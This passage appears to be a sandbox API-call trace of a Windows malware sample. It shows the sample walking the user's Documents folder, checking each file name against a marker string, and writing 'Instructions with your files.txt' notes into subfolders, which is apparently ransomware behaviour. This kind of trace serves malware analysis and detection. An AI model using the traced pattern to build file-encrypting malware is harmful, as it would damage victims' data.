[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8601e60, ftCreationTime.dwHighDateTime=0x1d5ada1, ftLastAccessTime.dwLowDateTime=0xdf6e6dd0, ftLastAccessTime.dwHighDateTime=0x1d53954, ftLastWriteTime.dwLowDateTime=0xdf6e6dd0, ftLastWriteTime.dwHighDateTime=0x1d53954, nFileSizeHigh=0x0, nFileSizeLow=0x13411, dwReserved0=0x0, dwReserved1=0x0, cFileName="g75fC_f7WE-lKQVqciT.xlsx", cAlternateFileName="G75FC_~1.XLS")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g75fC_f7WE-lKQVqciT.xlsx") returned 68
[0131.611] StrStrIW (lpFirst="g75fC_f7WE-lKQVqciT.xlsx", lpSrch="SDfghjkl") returned 0x0
[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bed110, ftCreationTime.dwHighDateTime=0x1d5816e, ftLastAccessTime.dwLowDateTime=0x23347090, ftLastAccessTime.dwHighDateTime=0x1d5bfb6, ftLastWriteTime.dwLowDateTime=0x23347090, ftLastWriteTime.dwHighDateTime=0x1d5bfb6, nFileSizeHigh=0x0, nFileSizeLow=0x142e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hgI9s4L.pptx", cAlternateFileName="HGI9S4~1.PPT")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hgI9s4L.pptx") returned 56
[0131.611] StrStrIW (lpFirst="hgI9s4L.pptx", lpSrch="SDfghjkl") returned 0x0
[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf659480, ftCreationTime.dwHighDateTime=0x1d5c0a9, ftLastAccessTime.dwLowDateTime=0x5aab7aa0, ftLastAccessTime.dwHighDateTime=0x1d5c5ce, ftLastWriteTime.dwLowDateTime=0x5aab7aa0, ftLastWriteTime.dwHighDateTime=0x1d5c5ce, nFileSizeHigh=0x0, nFileSizeLow=0x126f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ijlvpjCzfmGV.ods", cAlternateFileName="IJLVPJ~1.ODS")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ijlvpjCzfmGV.ods") returned 60
[0131.611] StrStrIW (lpFirst="ijlvpjCzfmGV.ods", lpSrch="SDfghjkl") returned 0x0
[0131.612] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb3aa6d0, ftCreationTime.dwHighDateTime=0x1d5a25d, ftLastAccessTime.dwLowDateTime=0xa7d20170, ftLastAccessTime.dwHighDateTime=0x1d57a09, ftLastWriteTime.dwLowDateTime=0xa7d20170, ftLastWriteTime.dwHighDateTime=0x1d57a09, nFileSizeHigh=0x0, nFileSizeLow=0xc2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="KrSw8kXNf.docx", cAlternateFileName="KRSW8K~1.DOC")) returned 1
[0131.612] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KrSw8kXNf.docx") returned 58
[0131.612] StrStrIW (lpFirst="KrSw8kXNf.docx", lpSrch="SDfghjkl") returned 0x0
[0131.612] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a885f0, ftCreationTime.dwHighDateTime=0x1d5bbda, ftLastAccessTime.dwLowDateTime=0xe53cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5bd35, ftLastWriteTime.dwLowDateTime=0xe53cc8a0, ftLastWriteTime.dwHighDateTime=0x1d5bd35, nFileSizeHigh=0x0, nFileSizeLow=0x10381, dwReserved0=0x0, dwReserved1=0x0, cFileName="lCiX0KP.ods", cAlternateFileName="")) returned 1
[0131.612] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lCiX0KP.ods") returned 55
[0131.612] StrStrIW (lpFirst="lCiX0KP.ods", lpSrch="SDfghjkl") returned 0x0
[0131.612] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b6d100, ftCreationTime.dwHighDateTime=0x1d5c0f6, ftLastAccessTime.dwLowDateTime=0x10b67900, ftLastAccessTime.dwHighDateTime=0x1d5c505, ftLastWriteTime.dwLowDateTime=0x10b67900, ftLastWriteTime.dwHighDateTime=0x1d5c505, nFileSizeHigh=0x0, nFileSizeLow=0x5247, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lgnu.xls", cAlternateFileName="")) returned 1
[0131.612] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Lgnu.xls") returned 52
[0131.612] StrStrIW (lpFirst="Lgnu.xls", lpSrch="SDfghjkl") returned 0x0
[0131.612] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfdac340, ftCreationTime.dwHighDateTime=0x1d5bebb, ftLastAccessTime.dwLowDateTime=0x8c8be4d0, ftLastAccessTime.dwHighDateTime=0x1d5bdbb, ftLastWriteTime.dwLowDateTime=0x8c8be4d0, ftLastWriteTime.dwHighDateTime=0x1d5bdbb, nFileSizeHigh=0x0, nFileSizeLow=0xd03c, dwReserved0=0x0, dwReserved1=0x0, cFileName="m2xPp5.xls", cAlternateFileName="")) returned 1
[0131.612] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m2xPp5.xls") returned 54
[0131.612] StrStrIW (lpFirst="m2xPp5.xls", lpSrch="SDfghjkl") returned 0x0
[0131.612] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7adfaa60, ftCreationTime.dwHighDateTime=0x1d5c184, ftLastAccessTime.dwLowDateTime=0x4ed98a60, ftLastAccessTime.dwHighDateTime=0x1d5c32a, ftLastWriteTime.dwLowDateTime=0x4ed98a60, ftLastWriteTime.dwHighDateTime=0x1d5c32a, nFileSizeHigh=0x0, nFileSizeLow=0x1040b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDurp.pdf", cAlternateFileName="")) returned 1
[0131.612] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MDurp.pdf") returned 53
[0131.612] StrStrIW (lpFirst="MDurp.pdf", lpSrch="SDfghjkl") returned 0x0
[0131.612] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed17a10, ftCreationTime.dwHighDateTime=0x1d5c113, ftLastAccessTime.dwLowDateTime=0x523391e0, ftLastAccessTime.dwHighDateTime=0x1d5b5e4, ftLastWriteTime.dwLowDateTime=0x523391e0, ftLastWriteTime.dwHighDateTime=0x1d5b5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe967, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxVhrX9xB.pptx", cAlternateFileName="MXVHRX~1.PPT")) returned 1
[0131.612] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mxVhrX9xB.pptx") returned 58
[0131.612] StrStrIW (lpFirst="mxVhrX9xB.pptx", lpSrch="SDfghjkl") returned 0x0
[0131.612] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
[0131.612] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned 52
[0131.612] GetProcessHeap () returned 0x810000
[0131.612] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.612] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*") returned 54
[0131.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf318b0, ftCreationTime.dwHighDateTime=0x1d5b70b, ftLastAccessTime.dwLowDateTime=0x6e64c0d0, ftLastAccessTime.dwHighDateTime=0x1d5b9ba, ftLastWriteTime.dwLowDateTime=0x6e64c0d0, ftLastWriteTime.dwHighDateTime=0x1d5b9ba, nFileSizeHigh=0x0, nFileSizeLow=0x130f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ybLkQRl.odt", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0131.612] GetProcessHeap () returned 0x810000
[0131.612] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.612] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
[0131.612] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned 55
[0131.612] GetProcessHeap () returned 0x810000
[0131.612] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.612] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*") returned 57
[0131.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf318b0, ftCreationTime.dwHighDateTime=0x1d5b70b, ftLastAccessTime.dwLowDateTime=0x6e64c0d0, ftLastAccessTime.dwHighDateTime=0x1d5b9ba, ftLastWriteTime.dwLowDateTime=0x6e64c0d0, ftLastWriteTime.dwHighDateTime=0x1d5b9ba, nFileSizeHigh=0x0, nFileSizeLow=0x130f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ybLkQRl.odt", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0131.613] GetProcessHeap () returned 0x810000
[0131.613] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.613] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1
[0131.613] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned 53
[0131.613] GetProcessHeap () returned 0x810000
[0131.613] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.613] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*") returned 55
[0131.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.614] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\.") returned 55
[0131.614] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.614] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.614] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\..") returned 56
[0131.614] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.614] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.614] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned 65
[0131.614] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.614] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1
[0131.614] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned 67
[0131.614] StrStrIW (lpFirst="Favorites.vss", lpSrch="SDfghjkl") returned 0x0
[0131.614] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1
[0131.614] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned 62
[0131.614] GetProcessHeap () returned 0x810000
[0131.614] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.614] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*") returned 64
[0131.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.615] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\.") returned 64
[0131.615] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.615] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.615] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\..") returned 65
[0131.615] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.615] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
[0131.615] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned 73
[0131.615] StrStrIW (lpFirst="folder.ico", lpSrch="SDfghjkl") returned 0x0
[0131.615] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0
[0131.615] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\Instructions with your files.txt") returned 95
[0131.615] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.616] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.617] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.617] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.617] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.617] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.617] CloseHandle (hObject=0x114) returned 1
[0131.617] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.617] GetProcessHeap () returned 0x810000
[0131.617] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.617] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0
[0131.617] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Instructions with your files.txt") returned 86
[0131.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.619] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.620] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.620] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.620] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.620] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.620] CloseHandle (hObject=0x110) returned 1
[0131.621] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.621] GetProcessHeap () returned 0x810000
[0131.621] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.621] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
[0131.621] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned 53
[0131.621] GetProcessHeap () returned 0x810000
[0131.621] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
